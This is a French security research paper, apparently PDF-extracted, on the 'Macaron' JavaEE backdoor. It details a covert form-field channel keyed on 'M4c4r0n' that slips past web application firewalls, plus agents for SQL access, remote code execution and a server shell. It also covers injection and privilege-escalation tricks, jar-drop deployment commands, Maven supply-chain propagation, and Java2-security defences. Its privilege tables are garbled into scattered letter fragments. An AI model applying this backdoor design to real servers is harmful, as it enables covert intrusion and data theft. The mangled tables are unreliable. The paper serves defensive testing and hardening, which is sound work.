en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
